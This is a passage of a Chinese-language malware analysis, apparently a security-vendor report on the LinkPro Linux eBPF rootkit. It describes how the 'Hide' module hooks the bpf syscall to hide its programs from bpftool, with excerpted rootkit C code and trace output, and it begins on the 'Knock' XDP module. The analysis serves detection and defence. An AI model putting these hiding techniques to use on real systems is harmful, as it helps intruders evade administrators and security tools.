arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">eBPFeXPLOIT</span></code><span leaf="">项目22 中也实现了同样的技巧,只是在此基础上额外补充了要隐藏的文件名和目录。</span></p><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">handle_ebpf</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里实现了两个函数: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HandleBpfEnter</span></code><span leaf="">,关联到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall/sys_enter/bpf</span></code><em><span leaf="">tracepoint</span></em><span leaf="">;以及 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HandleBpfExit</span></code><span leaf="">,关联到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_bpf</span></code><span leaf="">的 _Kretprobe_。其目标是让 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bpftool</span></code><span leaf="">23 这类工具看不到所部署的 eBPF 程序。所观察到的代码与 EBPFeXPLOIT 项目24 中的实现基本一致,仅多了一些额外检查以及两次 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bpf_printk</span></code><span leaf="">调用 ( 推测用于调试 ) 。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> handleBpfEnter(</span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">trace_event_raw_sys_enter</span></span><span leaf=""> *ctx) {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// ...</span><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">if</span></span><span leaf=""> ((!attr_ptr) &amp;&amp;</span><br/><span leaf="">            (</span><span style="color: rgb(111, 66, 193);"><span leaf="">bpf_probe_read_user</span></span><span leaf="">(&amp;cmd_info.start_id, sizeof(__u32), (void *)attr_ptr) != 0))</span><br/><span leaf="">        {</span><br/><span leaf="">            bpf_printk(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;BPF cmd: %d, start_id: %u&#34;</span></span><span leaf="">, cmd, cmd_info.start_id);</span><br/><span leaf="">            bpf_map_update_elem(&amp;hideEbpfMap, &amp;pid_tgid, &amp;cmd_info, BPF_ANY);</span><br/><span leaf="">        }</span><span style="color: rgb(106, 115, 125);"><span leaf="">//...</span><br/></span><span leaf="">}</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> handleBpfExit(</span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">pt_regs</span></span><span leaf=""> *ctx) {</span><span style="color: rgb(106, 115, 125);"><span leaf="">// ...</span><br/></span><span leaf="">                __u8 *is_main = bpf_map_lookup_elem(&amp;main_ebpf_progs, &amp;next_id);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (is_main &amp;&amp; *is_main == 1) {</span><br/><span leaf="">                    bpf_printk(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;HIDING NEXT_ID: %u&#34;</span></span><span leaf="">, next_id);</span><br/><span leaf="">                    bpf_override_return(ctx, -ENOENT);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">                }</span><span style="color: rgb(106, 115, 125);"><span leaf="">// ...</span><br/></span><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bpf_printk</span></code><span leaf="">的输出会被记录到特殊文件 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/sys/kernel/debug/tracing/trace_pipe</span></code><span leaf="">中,需要 root 权限才能读取:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">root@malux# bpftool prog list</span><br/><span leaf=""># .</span><span style="color: rgb(111, 66, 193);"><span leaf="">.output</span></span><span leaf="">...</span><br/><span leaf="">root@malux# cat  /sys/kernel/debug/tracing/trace_pipe</span><br/><span leaf="">         bpftool-15162   [003] ..</span><span style="color: rgb(111, 66, 193);"><span leaf="">.21</span></span><span leaf=""> 66902</span><span style="color: rgb(111, 66, 193);"><span leaf="">.319601</span></span><span leaf="">: bpf_trace_printk: BPF cmd: 11, start_id: 0</span><br/><span leaf="">         bpftool-15162   [003] ..</span><span style="color: rgb(111, 66, 193);"><span leaf="">.21</span></span><span leaf=""> 66902</span><span style="color: rgb(111, 66, 193);"><span leaf="">.319778</span></span><span leaf="">: bpf_trace_printk: BPF cmd: 11, start_id: 52</span><br/><span leaf="">         bpftool-15162   [003] ..</span><span style="color: rgb(111, 66, 193);"><span leaf="">.21</span></span><span leaf=""> 66902</span><span style="color: rgb(111, 66, 193);"><span leaf="">.319825</span></span><span leaf="">: bpf_trace_printk: BPF cmd: 11, start_id: 160</span><br/><span leaf="">         bpftool-15162   [003] ..</span><span style="color: rgb(111, 66, 193);"><span leaf="">.21</span></span><span leaf=""> 66902</span><span style="color: rgb(111, 66, 193);"><span leaf="">.319867</span></span><span leaf="">: bpf_trace_printk: BPF cmd: 11, start_id: 161</span><br/><span leaf="">        # [.</span><span style="color: rgb(111, 66, 193);"><span leaf="">.etc</span></span><span leaf="">..]</span><br/><span leaf="">         bpftool-15162   [003] ..</span><span style="color: rgb(111, 66, 193);"><span leaf="">.21</span></span><span leaf=""> 66902</span><span style="color: rgb(111, 66, 193);"><span leaf="">.320442</span></span><span leaf="">: bpf_trace_printk: BPF cmd: 11, start_id: 175</span><br/><span leaf="">         bpftool-15162   [003] ..</span><span style="color: rgb(111, 66, 193);"><span leaf="">.21</span></span><span leaf=""> 66902</span><span style="color: rgb(111, 66, 193);"><span leaf="">.320484</span></span><span leaf="">: bpf_trace_printk: BPF cmd: 11, start_id: 176</span><br/><span leaf="">         bpftool-15162   [003] ..</span><span style="color: rgb(111, 66, 193);"><span leaf="">.21</span></span><span leaf=""> 66902</span><span style="color: rgb(111, 66, 193);"><span leaf="">.320528</span></span><span leaf="">: bpf_trace_printk: BPF cmd: 11, start_id: 177</span><br/><span leaf="">         bpftool-15162   [003] ..</span><span style="color: rgb(111, 66, 193);"><span leaf="">.21</span></span><span leaf=""> 66902</span><span style="color: rgb(111, 66, 193);"><span leaf="">.320533</span></span><span leaf="">: bpf_trace_printk: HIDING NEXT_ID: 654</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">handlerBpfEnter</span></code><span leaf="">tracepoint 会把类型为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BPF_PROG_GET_NEXT_ID</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BPF_MAP_GET_NEXT_ID</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BPF_LINK_GET_NEXT_ID</span></code><span leaf="">的 BPF 命令记录在一张 map 中。当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_bpf</span></code><span leaf="">系统调用执行完毕后,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">handlerBpfExit</span></code><em><span leaf="">hook</span></em><span leaf="">会被触发。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">此时取出对应命令的结构体——其中已包含系统调用的结果,即下一个 program、map 或 link 的 ID。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmd_info.attr_pr.next_id</span></code><span leaf="">的值与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">main_ebpfs_progs</span></code><span leaf="">map 中某个对象的 ID 相同,则 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_bpf</span></code><span leaf="">的返回值会被改写为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-ENOENT</span></code><span leaf="">( </span><em style="margin-bottom: 0px;"><span leaf="">No such file or directory</span></em><span leaf="">,无此文件或目录 ) 。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下图演示了 &#34;Hide&#34; 模块加载后 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-ebpf 1</span></code><span leaf="">参数,默认值 ) 在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bpftool</span></code><span leaf="">工具面前隐藏 eBPF 程序的效果:</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012298" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f949220d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgUdBia2LLXZyRiaJedyrk5xUxO76iaNJgX7RSzQy8xbloX10QplAHqPMb00Yfga8B3TiapiatdgBIxD5953Zk04I1XDGiaDlD4GSEEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">隐藏 BPF 程序</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">需要注意的是,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">并 </span><strong><span leaf="">未</span></strong><span leaf="">把 eBPF maps 和 links 的 FD 加入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">main_ebpf_progs</span></code><span leaf="">map 中,这是一个失误: 虽然 programs 已被正确隐藏,但仍然可以列举出这些程序对应的 eBPF maps 和 links,以及与 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">关联的 PID。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012299" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bb05fcae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgulWGSLA0ibcWe4msXmf2ejqARUVOOWLZCL14jz51Keg285a4REslz2YdTqvDCm9FzmAe7ge92Ta5vc560W91o581Mavjy1BZs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">检测到与 LinkPro 关联的 eBPF links</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另一个重要的细节是: 辅助函数 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">bpf_override_return</span></code><span leaf="">仅在 Linux 内核编译时启用了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CONFIG_BPF_KPROBE_OVERRIDE</span></code><span leaf="">配置选项25 的情况下才可用。例如,Amazon Linux 较新的内核26 或 Ubuntu 24.04 都满足这一条件。如果所需的内核选项未启用,</span><strong><span leaf="">BPF verifier</span></strong><span leaf="">将拒绝该程序,从而阻止 &#34;Hide&#34; 模块加载。一旦失败,程序就会回退到加载 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">库的方案,作为隐藏 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">部分痕迹的备用手段。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">&#34;Knock&#34; eBPF 模块</span></h3><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">SHA256</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3</span></code></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件类型</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ELF 64-bit LSB relocatable, eBPF</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件大小</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">19249 bytes</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">威胁</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Linux eBPF Rootkit</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">&#34;Knock&#34; 模块包含两个由 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">加载的 eBPF 程序。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第一个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xdp_ingress</span></code><span leaf="">,属于 XDP ( </span><em><span leaf="">eXpress Data Path</span></em><span leaf="">) 类型。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">XDP 提供了通过 eBPF 程序处理网络包的机制。它位于网络处理链路的极早阶段——驱动层,处于经典 Linux 网络栈的上游27。XDP eBPF 程序通过返回码 ( 例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">XDP_PASS</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">XDP_DROP</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">XDP_REDIRECT</span></code><span leaf="">) 来决定 Linux 内核对网络包采取的动作。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012302" data-ratio="0.7097862767154106" data-s="300,640" type="block" data-type="png" data-w="889" 